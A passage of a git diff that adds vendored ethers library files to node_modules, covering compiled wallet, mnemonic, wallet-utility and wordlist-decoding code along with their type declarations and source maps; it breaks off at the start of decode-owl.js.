(0, index_js_1.pbkdf2)((0, index_js_2.toUtf8Bytes)(this.phrase, "NFKD"), salt, 2048, 64, "sha512"); + } + /** + * Creates a new Mnemonic for the %%phrase%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromPhrase(phrase, password, wordlist) { + // Normalize the case and space; throws if invalid + const entropy = mnemonicToEntropy(phrase, wordlist); + phrase = entropyToMnemonic((0, index_js_2.getBytes)(entropy), wordlist); + return new Mnemonic(_guard, entropy, phrase, password, wordlist); + } + /** + * Create a new **Mnemonic** from the %%entropy%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromEntropy(_entropy, password, wordlist) { + const entropy = (0, index_js_2.getBytes)(_entropy, "entropy"); + const phrase = entropyToMnemonic(entropy, wordlist); + return new Mnemonic(_guard, (0, index_js_2.hexlify)(entropy), phrase, password, wordlist); + } + /** + * Returns the phrase for %%mnemonic%%. + */ + static entropyToPhrase(_entropy, wordlist) { + const entropy = (0, index_js_2.getBytes)(_entropy, "entropy"); + return entropyToMnemonic(entropy, wordlist); + } + /** + * Returns the entropy for %%phrase%%. + */ + static phraseToEntropy(phrase, wordlist) { + return mnemonicToEntropy(phrase, wordlist); + } + /** + * Returns true if %%phrase%% is a valid [[link-bip-39]] phrase. + * + * This checks all the provided words belong to the %%wordlist%%, + * that the length is valid and the checksum is correct. + */ + static isValidMnemonic(phrase, wordlist) { + try { + mnemonicToEntropy(phrase, wordlist); + return true; + } + catch (error) { } + return false; + } +} +exports.Mnemonic = Mnemonic; +//# sourceMappingURL=mnemonic.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/mnemonic.js.map b/node_modules/ethers/lib.commonjs/wallet/mnemonic.js.map new file mode 100644 index 000000000000..c69453b25767 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/mnemonic.js.map @@ -0,0 +1 @@ +{"version":3,"file":"mnemonic.js","sourceRoot":"","sources":["../../src.ts/wallet/mnemonic.ts"],"names":[],"mappings":";;;AAAA,iDAAoD;AACpD,gDAE2B;AAC3B,wDAAiD;AAMjD,uCAAuC;AACvC,SAAS,YAAY,CAAC,IAAY;IAC/B,OAAO,CAAC,CAAC,CAAC,IAAI,IAAI,CAAC,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC,GAAG,IAAI,CAAC,GAAG,IAAI,CAAC;AACjD,CAAC;AAED,uCAAuC;AACvC,SAAS,YAAY,CAAC,IAAY;IAC/B,OAAO,CAAC,CAAC,CAAC,IAAI,IAAI,CAAC,GAAG,CAAC,CAAC,GAAG,IAAI,CAAC;AACnC,CAAC;AAGD,SAAS,iBAAiB,CAAC,QAAgB,EAAE,QAA0B;IACnE,IAAA,0BAAe,EAAC,MAAM,CAAC,CAAC;IAExB,IAAI,QAAQ,IAAI,IAAI,EAAE;QAAE,QAAQ,GAAG,mBAAM,CAAC,QAAQ,EAAE,CAAC;KAAE;IAEvD,MAAM,KAAK,GAAG,QAAQ,CAAC,KAAK,CAAC,QAAQ,CAAC,CAAC;IACvC,IAAA,yBAAc,EAAC,CAAC,KAAK,CAAC,MAAM,GAAG,CAAC,CAAC,KAAK,CAAC,IAAI,KAAK,CAAC,MAAM,IAAI,EAAE,IAAI,KAAK,CAAC,MAAM,IAAI,EAAE,EAC/E,yBAAyB,EAAE,UAAU,EAAE,cAAc,CAAC,CAAC;IAE3D,MAAM,OAAO,GAAG,IAAI,UAAU,CAAC,IA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AAG,IAAA,mBAAQ,EAAC,QAAQ,EAAE,SAAS,CAAC,CAAC;QAC9C,OAAO,iBAAiB,CAAC,OAAO,EAAE,QAAQ,CAAC,CAAC;IAChD,CAAC;IAED;;OAEG;IACH,MAAM,CAAC,eAAe,CAAC,MAAc,EAAE,QAA0B;QAC7D,OAAO,iBAAiB,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;IAC/C,CAAC;IAED;;;;;OAKG;IACH,MAAM,CAAC,eAAe,CAAC,MAAc,EAAE,QAA0B;QAC7D,IAAI;YACA,iBAAiB,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;YACpC,OAAO,IAAI,CAAC;SACf;QAAC,OAAO,KAAK,EAAE,GAAG;QACnB,OAAO,KAAK,CAAC;IACjB,CAAC;CACJ;AA/FD,4BA+FC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/utils.d.ts b/node_modules/ethers/lib.commonjs/wallet/utils.d.ts new file mode 100644 index 000000000000..0d4baabe8668 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/utils.d.ts @@ -0,0 +1,8 @@ +/** + * @_ignore + */ +export declare function looseArrayify(hexString: string): Uint8Array; +export declare function zpad(value: String | number, length: number): String; +export declare function getPassword(password: string | Uint8Array): Uint8Array; +export declare function spelunk(object: any, _path: string): T; +//# sourceMappingURL=utils.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/utils.d.ts.map b/node_modules/ethers/lib.commonjs/wallet/utils.d.ts.map new file mode 100644 index 000000000000..ecd4e9ae6efe --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/utils.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"utils.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/utils.ts"],"names":[],"mappings":"AAAA;;GAEG;AAMH,wBAAgB,aAAa,CAAC,SAAS,EAAE,MAAM,GAAG,UAAU,CAK3D;AAED,wBAAgB,IAAI,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CAInE;AAED,wBAAgB,WAAW,CAAC,QAAQ,EAAE,MAAM,GAAG,UAAU,GAAG,UAAU,CAKrE;AAED,wBAAgB,OAAO,CAAC,CAAC,EAAE,MAAM,EAAE,GAAG,EAAE,KAAK,EAAE,MAAM,GAAG,CAAC,CA8DxD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/utils.js b/node_modules/ethers/lib.commonjs/wallet/utils.js new file mode 100644 index 000000000000..fe4650e934c5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/utils.js @@ -0,0 +1,149 @@ +"use strict"; +/** + * @_ignore + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.spelunk = exports.getPassword = exports.zpad = exports.looseArrayify = void 0; +const index_js_1 = require("../utils/index.js"); +function looseArrayify(hexString) { + if (typeof (hexString) === "string" && !hexString.startsWith("0x")) { + hexString = "0x" + hexString; + } + return (0, index_js_1.getBytesCopy)(hexString); +} +exports.looseArrayify = looseArrayify; +function zpad(value, length) { + value = String(value); + while (value.length < length) { + value = '0' + value; + } + return value; +} +exports.zpad = zpad; +function getPassword(password) { + if (typeof (password) === 'string') { + return (0, index_js_1.toUtf8Bytes)(password, "NFKC"); + } + return (0, index_js_1.getBytesCopy)(password); +} +exports.getPassword = getPassword; +function spelunk(object, _path) { + const match = _path.match(/^([a-z0-9$_.-]*)(:([a-z]+))?(!)?$/i); + (0, index_js_1.assertArgument)(match != null, "invalid path", "path", _path); + const path = match[1]; + const type = match[3]; + const reqd = (match[4] === "!"); + let cur = object; + for (const comp of path.toLowerCase().split('.')) { + // Search for a child object with a case-insensitive matching key + if (Array.isArray(cur)) { + if (!comp.match(/^[0-9]+$/)) { + break; + } + cur = cur[parseInt(comp)]; + } + else if (typeof (cur) === "object") { + let found = null; + for (const key in cur) { + if (key.toLowerCase() === comp) { + found = cur[key]; + break; + } + } + cur = found; + } + else { + cur = null; + } + if (cur == null) { + break; + } + } + (0, index_js_1.assertArgument)(!reqd || cur != null, "missing required value", "path", path); + if (type && cur != null) { + if (type === "int") { + if (typeof (cur) === "string" && cur.match(/^-?[0-9]+$/)) { + return parseInt(cur); + } + else if (Number.isSafeInteger(cur)) { + return cur; + } + } + if (type === "number") { + if (typeof (cur) === "string" && cur.match(/^-?[0-9.]*$/)) { + return parseFloat(cur); + } + } + if (type === "data") { + if (typeof (cur) === "string") { + return looseArrayify(cur); + } + } + if (type === "array" && Array.isArray(cur)) { + return cur; + } + if (type === typeof (cur)) { + return cur; + } + (0, index_js_1.assertArgument)(false, `wrong type found for ${type} `, "path", path); + } + return cur; +} +exports.spelunk = spelunk; +/* +export function follow(object: any, path: string): null | string { + let currentChild = object; + + for (const comp of path.toLowerCase().split('/')) { + + // Search for a child object with a case-insensitive matching key + let matchingChild = null; + for (const key in currentChild) { + if (key.toLowerCase() === comp) { + matchingChild = currentChild[key]; + break; + } + } + + if (matchingChild === null) { return null; } + + currentChild = matchingChild; + } + + return currentChild; +} + +// "path/to/something:type!" +export function followRequired(data: any, path: string): string { + const value = follow(data, path); + if (value != null) { return value; } + return logger.throwArgumentError("invalid value", `data:${ path }`, + JSON.stringify(data)); +} +*/ +// See: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) +/* +export function uuidV4(randomBytes: BytesLike): string { + const bytes = getBytes(randomBytes, "randomBytes"); + + // Section: 4.1.3: + // - time_hi_and_version[12:16] = 0b0100 + bytes[6] = (bytes[6] & 0x0f) | 0x40; + + // Section 4.4 + // - clock_seq_hi_and_reserved[6] = 0b0 + // - clock_seq_hi_and_reserved[7] = 0b1 + bytes[8] = (bytes[8] & 0x3f) | 0x80; + + const value = hexlify(bytes); + + return [ + value.substring(2, 10), + value.substring(10, 14), + value.substring(14, 18), + value.substring(18, 22), + value.substring(22, 34), + ].join("-"); +} +*/ +//# sourceMappingURL=utils.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/utils.js.map b/node_modules/ethers/lib.commonjs/wallet/utils.js.map new file mode 100644 index 000000000000..9ec2538b336f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/utils.js.map @@ -0,0 +1 @@ +{"version":3,"file":"utils.js","sourceRoot":"","sources":["../../src.ts/wallet/utils.ts"],"names":[],"mappings":";AAAA;;GAEG;;;AAEH,gDAE2B;AAE3B,SAAgB,aAAa,CAAC,SAAiB;IAC3C,IAAI,OAAM,CAAC,SAAS,CAAC,KAAK,QAAQ,IAAI,CAAC,SAAS,CAAC,UAAU,CAAC,IAAI,CAAC,EAAE;QAC/D,SAAS,GAAG,IAAI,GAAG,SAAS,CAAC;KAChC;IACD,OAAO,IAAA,uBAAY,EAAC,SAAS,CAAC,CAAC;AACnC,CAAC;AALD,sCAKC;AAED,SAAgB,IAAI,CAAC,KAAsB,EAAE,MAAc;IACvD,KAAK,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC;IACtB,OAAO,KAAK,CAAC,MAAM,GAAG,MAAM,EAAE;QAAE,KAAK,GAAG,GAAG,GAAG,KAAK,CAAC;KAAE;IACtD,OAAO,KAAK,CAAC;AACjB,CAAC;AAJD,oBAIC;AAED,SAAgB,WAAW,CAAC,QAA6B;IACrD,IAAI,OAAM,CAAC,QAAQ,CAAC,KAAK,QAAQ,EAAE;QAC/B,OAAO,IAAA,sBAAW,EAAC,QAAQ,EAAE,MAAM,CAAC,CAAC;KACxC;IACD,OAAO,IAAA,uBAAY,EAAC,QAAQ,CAAC,CAAC;AAClC,CAAC;AALD,kCAKC;AAED,SAAgB,OAAO,CAAI,MAAW,EAAE,KAAa;IAEjD,MAAM,KAAK,GAAG,KAAK,CAAC,KAAK,CAAC,oCAAoC,CAAC,CAAC;IAChE,IAAA,yBAAc,EAAC,KAAK,IAAI,IAAI,EAAE,cAAc,EAAE,MAAM,EAAE,KAAK,CAAC,CAAC;IAE7D,MAAM,IAAI,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC;IACtB,MAAM,IAAI,GAAG,KAAK,CAAC,CA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,CAAC,EAAE;gBAClC,OAAO,GAAG,CAAC;aACd;SACJ;QAED,IAAI,IAAI,KAAK,QAAQ,EAAE;YACnB,IAAI,OAAM,CAAC,GAAG,CAAC,KAAK,QAAQ,IAAI,GAAG,CAAC,KAAK,CAAC,aAAa,CAAC,EAAE;gBACtD,OAAmB,UAAU,CAAC,GAAG,CAAC,CAAC;aACtC;SACJ;QAED,IAAI,IAAI,KAAK,MAAM,EAAE;YACjB,IAAI,OAAM,CAAC,GAAG,CAAC,KAAK,QAAQ,EAAE;gBAAE,OAAmB,aAAa,CAAC,GAAG,CAAC,CAAC;aAAE;SAC3E;QAED,IAAI,IAAI,KAAK,OAAO,IAAI,KAAK,CAAC,OAAO,CAAC,GAAG,CAAC,EAAE;YAAE,OAAmB,GAAG,CAAC;SAAE;QACvE,IAAI,IAAI,KAAK,OAAM,CAAC,GAAG,CAAC,EAAE;YAAE,OAAO,GAAG,CAAC;SAAE;QAEzC,IAAA,yBAAc,EAAC,KAAK,EAAE,wBAAyB,IAAK,GAAG,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;KAC1E;IAED,OAAO,GAAG,CAAC;AACf,CAAC;AA9DD,0BA8DC;AACD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;EA8BE;AACF,0DAA0D;AAC1D;;;;;;;;;;;;;;;;;;;;;;;EAuBE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/wallet.d.ts b/node_modules/ethers/lib.commonjs/wallet/wallet.d.ts new file mode 100644 index 000000000000..91fa60987c99 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/wallet.d.ts @@ -0,0 +1,71 @@ +import { SigningKey } from "../crypto/index.js"; +import { BaseWallet } from "./base-wallet.js"; +import { HDNodeWallet } from "./hdwallet.js"; +import type { ProgressCallback } from "../crypto/index.js"; +import type { Provider } from "../providers/index.js"; +/** + * A **Wallet** manages a single private key which is used to sign + * transactions, messages and other common payloads. + * + * This class is generally the main entry point for developers + * that wish to use a private key directly, as it can create + * instances from a large variety of common sources, including + * raw private key, [[link-bip-39]] mnemonics and encrypte JSON + * wallets. + */ +export declare class Wallet extends BaseWallet { + #private; + /** + * Create a new wallet for the private %%key%%, optionally connected + * to %%provider%%. + */ + constructor(key: string | SigningKey, provider?: null | Provider); + connect(provider: null | Provider): Wallet; + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + encrypt(password: Uint8Array | string, progressCallback?: ProgressCallback): Promise; + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password: Uint8Array | string): string; + /** + * Creates (asynchronously) a **Wallet** by decrypting the %%json%% + * with %%password%%. + * + * If %%progress%% is provided, it is called periodically during + * decryption so that any UI can be updated. + */ + static fromEncryptedJson(json: string, password: Uint8Array | string, progress?: ProgressCallback): Promise; + /** + * Creates a **Wallet** by decrypting the %%json%% with %%password%%. + * + * The [[fromEncryptedJson]] method is preferred, as this method + * will lock up and freeze the UI during decryption, which may take + * some time. + */ + static fromEncryptedJsonSync(json: string, password: Uint8Array | string): HDNodeWallet | Wallet; + /** + * Creates a new random [[HDNodeWallet]] using the available + * [cryptographic random source](randomBytes). + * + * If there is no crytographic random source, this will throw. + */ + static createRandom(provider?: null | Provider): HDNodeWallet; + /** + * Creates a [[HDNodeWallet]] for %%phrase%%. + */ + static fromPhrase(phrase: string, provider?: Provider): HDNodeWallet; +} +//# sourceMappingURL=wallet.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/wallet.d.ts.map b/node_modules/ethers/lib.commonjs/wallet/wallet.d.ts.map new file mode 100644 index 000000000000..afa4098dc770 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/wallet.d.ts.map @@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EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,QAAQ,GAAG,YAAY;CAKvE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/wallet.js b/node_modules/ethers/lib.commonjs/wallet/wallet.js new file mode 100644 index 000000000000..6e8300acd85e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/wallet.js @@ -0,0 +1,148 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Wallet = void 0; +const index_js_1 = require("../crypto/index.js"); +const index_js_2 = require("../utils/index.js"); +const base_wallet_js_1 = require("./base-wallet.js"); +const hdwallet_js_1 = require("./hdwallet.js"); +const json_crowdsale_js_1 = require("./json-crowdsale.js"); +const json_keystore_js_1 = require("./json-keystore.js"); +const mnemonic_js_1 = require("./mnemonic.js"); +function stall(duration) { + return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); }); +} +/** + * A **Wallet** manages a single private key which is used to sign + * transactions, messages and other common payloads. + * + * This class is generally the main entry point for developers + * that wish to use a private key directly, as it can create + * instances from a large variety of common sources, including + * raw private key, [[link-bip-39]] mnemonics and encrypte JSON + * wallets. + */ +class Wallet extends base_wallet_js_1.BaseWallet { + /** + * Create a new wallet for the private %%key%%, optionally connected + * to %%provider%%. + */ + constructor(key, provider) { + if (typeof (key) === "string" && !key.startsWith("0x")) { + key = "0x" + key; + } + let signingKey = (typeof (key) === "string") ? new index_js_1.SigningKey(key) : key; + super(signingKey, provider); + } + connect(provider) { + return new Wallet(this.signingKey, provider); + } + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + async encrypt(password, progressCallback) { + const account = { address: this.address, privateKey: this.privateKey }; + return await (0, json_keystore_js_1.encryptKeystoreJson)(account, password, { progressCallback }); + } + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password) { + const account = { address: this.address, privateKey: this.privateKey }; + return (0, json_keystore_js_1.encryptKeystoreJsonSync)(account, password); + } + static #fromAccount(account) { + (0, index_js_2.assertArgument)(account, "invalid JSON wallet", "json", "[ REDACTED ]"); + if ("mnemonic" in account && account.mnemonic && account.mnemonic.locale === "en") { + const mnemonic = mnemonic_js_1.Mnemonic.fromEntropy(account.mnemonic.entropy); + const wallet = hdwallet_js_1.HDNodeWallet.fromMnemonic(mnemonic, account.mnemonic.path); + if (wallet.address === account.address && wallet.privateKey === account.privateKey) { + return wallet; + } + console.log("WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key"); + } + const wallet = new Wallet(account.privateKey); + (0, index_js_2.assertArgument)(wallet.address === account.address, "address/privateKey mismatch", "json", "[ REDACTED ]"); + return wallet; + } + /** + * Creates (asynchronously) a **Wallet** by decrypting the %%json%% + * with %%password%%. + * + * If %%progress%% is provided, it is called periodically during + * decryption so that any UI can be updated. + */ + static async fromEncryptedJson(json, password, progress) { + let account = null; + if ((0, json_keystore_js_1.isKeystoreJson)(json)) { + account = await (0, json_keystore_js_1.decryptKeystoreJson)(json, password, progress); + } + else if ((0, json_crowdsale_js_1.isCrowdsaleJson)(json)) { + if (progress) { + progress(0); + await stall(0); + } + account = (0, json_crowdsale_js_1.decryptCrowdsaleJson)(json, password); + if (progress) { + progress(1); + await stall(0); + } + } + return Wallet.#fromAccount(account); + } + /** + * Creates a **Wallet** by decrypting the %%json%% with %%password%%. + * + * The [[fromEncryptedJson]] method is preferred, as this method + * will lock up and freeze the UI during decryption, which may take + * some time. + */ + static fromEncryptedJsonSync(json, password) { + let account = null; + if ((0, json_keystore_js_1.isKeystoreJson)(json)) { + account = (0, json_keystore_js_1.decryptKeystoreJsonSync)(json, password); + } + else if ((0, json_crowdsale_js_1.isCrowdsaleJson)(json)) { + account = (0, json_crowdsale_js_1.decryptCrowdsaleJson)(json, password); + } + else { + (0, index_js_2.assertArgument)(false, "invalid JSON wallet", "json", "[ REDACTED ]"); + } + return Wallet.#fromAccount(account); + } + /** + * Creates a new random [[HDNodeWallet]] using the available + * [cryptographic random source](randomBytes). + * + * If there is no crytographic random source, this will throw. + */ + static createRandom(provider) { + const wallet = hdwallet_js_1.HDNodeWallet.createRandom(); + if (provider) { + return wallet.connect(provider); + } + return wallet; + } + /** + * Creates a [[HDNodeWallet]] for %%phrase%%. + */ + static fromPhrase(phrase, provider) { + const wallet = hdwallet_js_1.HDNodeWallet.fromPhrase(phrase); + if (provider) { + return wallet.connect(provider); + } + return wallet; + } +} +exports.Wallet = Wallet; +//# sourceMappingURL=wallet.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/wallet.js.map b/node_modules/ethers/lib.commonjs/wallet/wallet.js.map new file mode 100644 index 000000000000..88586f6932f4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/wallet.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wallet.js","sourceRoot":"","sources":["../../src.ts/wallet/wallet.ts"],"names":[],"mappings":";;;AAAA,iDAAgD;AAChD,gDAAmD;AAEnD,qDAA8C;AAC9C,+CAA6C;AAC7C,2DAA6E;AAC7E,yDAI4B;AAC5B,+CAAyC;AASzC,SAAS,KAAK,CAAC,QAAgB;IAC3B,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE,GAAG,UAAU,CAAC,GAAG,EAAE,GAAG,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;AACrF,CAAC;AAED;;;;;;;;;GASG;AACH,MAAa,MAAO,SAAQ,2BAAU;IAElC;;;OAGG;IACH,YAAY,GAAwB,EAAE,QAA0B;QAC5D,IAAI,OAAM,CAAC,GAAG,CAAC,KAAK,QAAQ,IAAI,CAAC,GAAG,CAAC,UAAU,CAAC,IAAI,CAAC,EAAE;YACnD,GAAG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BAAqB,CAAC,IAAY,EAAE,QAA6B;QACpE,IAAI,OAAO,GAA8C,IAAI,CAAC;QAC9D,IAAI,IAAA,iCAAc,EAAC,IAAI,CAAC,EAAE;YACtB,OAAO,GAAG,IAAA,0CAAuB,EAAC,IAAI,EAAE,QAAQ,CAAC,CAAC;SACrD;aAAM,IAAI,IAAA,mCAAe,EAAC,IAAI,CAAC,EAAE;YAC9B,OAAO,GAAG,IAAA,wCAAoB,EAAC,IAAI,EAAE,QAAQ,CAAC,CAAC;SAClD;aAAM;YACH,IAAA,yBAAc,EAAC,KAAK,EAAE,qBAAqB,EAAE,MAAM,EAAE,cAAc,CAAC,CAAC;SACxE;QAED,OAAO,MAAM,CAAC,YAAY,CAAC,OAAO,CAAC,CAAC;IACxC,CAAC;IAED;;;;;OAKG;IACH,MAAM,CAAC,YAAY,CAAC,QAA0B;QAC1C,MAAM,MAAM,GAAG,0BAAY,CAAC,YAAY,EAAE,CAAC;QAC3C,IAAI,QAAQ,EAAE;YAAE,OAAO,MAAM,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC;SAAE;QAClD,OAAO,MAAM,CAAC;IAClB,CAAC;IAED;;OAEG;IACH,MAAM,CAAC,UAAU,CAAC,MAAc,EAAE,QAAmB;QACjD,MAAM,MAAM,GAAG,0BAAY,CAAC,UAAU,CAAC,MAAM,CAAC,CAAC;QAC/C,IAAI,QAAQ,EAAE;YAAE,OAAO,MAAM,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC;SAAE;QAClD,OAAO,MAAM,CAAC;IAClB,CAAC;CACJ;AAhID,wBAgIC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/bit-reader.d.ts b/node_modules/ethers/lib.commonjs/wordlists/bit-reader.d.ts new file mode 100644 index 000000000000..1aa849530000 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/bit-reader.d.ts @@ -0,0 +1,5 @@ +/** + * @_ignore + */ +export declare function decodeBits(width: number, data: string): Array; +//# sourceMappingURL=bit-reader.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/bit-reader.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/bit-reader.d.ts.map new file mode 100644 index 000000000000..c088a746511e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/bit-reader.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"bit-reader.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/bit-reader.ts"],"names":[],"mappings":"AAEA;;GAEG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC,CA6BrE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/bit-reader.js b/node_modules/ethers/lib.commonjs/wordlists/bit-reader.js new file mode 100644 index 000000000000..706eaa9f4afc --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/bit-reader.js @@ -0,0 +1,36 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.decodeBits = void 0; +const Base64 = ")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_"; +/** + * @_ignore + */ +function decodeBits(width, data) { + const maxValue = (1 << width) - 1; + const result = []; + let accum = 0, bits = 0, flood = 0; + for (let i = 0; i < data.length; i++) { + // Accumulate 6 bits of data + accum = ((accum << 6) | Base64.indexOf(data[i])); + bits += 6; + // While we have enough for a word... + while (bits >= width) { + // ...read the word + const value = (accum >> (bits - width)); + accum &= (1 << (bits - width)) - 1; + bits -= width; + // A value of 0 indicates we exceeded maxValue, it + // floods over into the next value + if (value === 0) { + flood += maxValue; + } + else { + result.push(value + flood); + flood = 0; + } + } + } + return result; +} +exports.decodeBits = decodeBits; +//# sourceMappingURL=bit-reader.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/bit-reader.js.map b/node_modules/ethers/lib.commonjs/wordlists/bit-reader.js.map new file mode 100644 index 000000000000..12475f60529d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/bit-reader.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bit-reader.js","sourceRoot":"","sources":["../../src.ts/wordlists/bit-reader.ts"],"names":[],"mappings":";;;AAAA,MAAM,MAAM,GAAG,kEAAkE,CAAC;AAElF;;GAEG;AACH,SAAgB,UAAU,CAAC,KAAa,EAAE,IAAY;IAClD,MAAM,QAAQ,GAAG,CAAC,CAAC,IAAI,KAAK,CAAC,GAAG,CAAC,CAAC;IAClC,MAAM,MAAM,GAAkB,EAAG,CAAC;IAClC,IAAI,KAAK,GAAG,CAAC,EAAE,IAAI,GAAG,CAAC,EAAE,KAAK,GAAG,CAAC,CAAC;IACnC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,IAAI,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QAElC,4BAA4B;QAC5B,KAAK,GAAG,CAAC,CAAC,KAAK,IAAI,CAAC,CAAC,GAAG,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;QACjD,IAAI,IAAI,CAAC,CAAC;QAEV,qCAAqC;QACrC,OAAO,IAAI,IAAI,KAAK,EAAE;YAClB,mBAAmB;YACnB,MAAM,KAAK,GAAG,CAAC,KAAK,IAAI,CAAC,IAAI,GAAG,KAAK,CAAC,CAAC,CAAC;YACxC,KAAK,IAAI,CAAC,CAAC,IAAI,CAAC,IAAI,GAAG,KAAK,CAAC,CAAC,GAAG,CAAC,CAAC;YACnC,IAAI,IAAI,KAAK,CAAC;YAEd,kDAAkD;YAClD,kCAAkC;YAClC,IAAI,KAAK,KAAK,CAAC,EAAE;gBACb,KAAK,IAAI,QAAQ,CAAC;aACrB;iBAAM;gBACH,MAAM,CAAC,IAAI,CAAC,KAAK,GAAG,KAAK,CAAC,CAAC;gBAC3B,KAAK,GAAG,CAAC,CAAC;aACb;SACJ;KACJ;IAED,OAAO,MAAM,CAAC;AAClB,CAAC;AA7BD,gCA6BC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/decode-owl.d.ts b/node_modules/ethers/lib.commonjs/wordlists/decode-owl.d.ts new file mode 100644 index 000000000000..8822086bb6ff --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/decode-owl.d.ts @@ -0,0 +1,9 @@ +/** + * @_ignore + */ +export declare function decode(data: string, subs: string): Array; +/** + * @_ignore + */ +export declare function decodeOwl(data: string): Array; +//# sourceMappingURL=decode-owl.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/decode-owl.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/decode-owl.d.ts.map new file mode 100644 index 000000000000..aa6928918041 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/decode-owl.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"decode-owl.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/decode-owl.ts"],"names":[],"mappings":"AAqBA;;GAEG;AACH,wBAAgB,MAAM,CAAC,IAAI,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC,CAsBhE;AAED;;GAEG;AACH,wBAAgB,SAAS,CAAC,IAAI,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC,CAMrD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/decode-owl.js b/node_modules/ethers/lib.commonjs/wordlists/decode-owl.js new file mode 100644 index 000000000000..9ee1c18b6979 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/decode-owl.js @@ -0,0 +1,60 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.decodeOwl = exports.decode = void 0; +const index_js_1 = require("../utils/index.js"); +const subsChrs = " 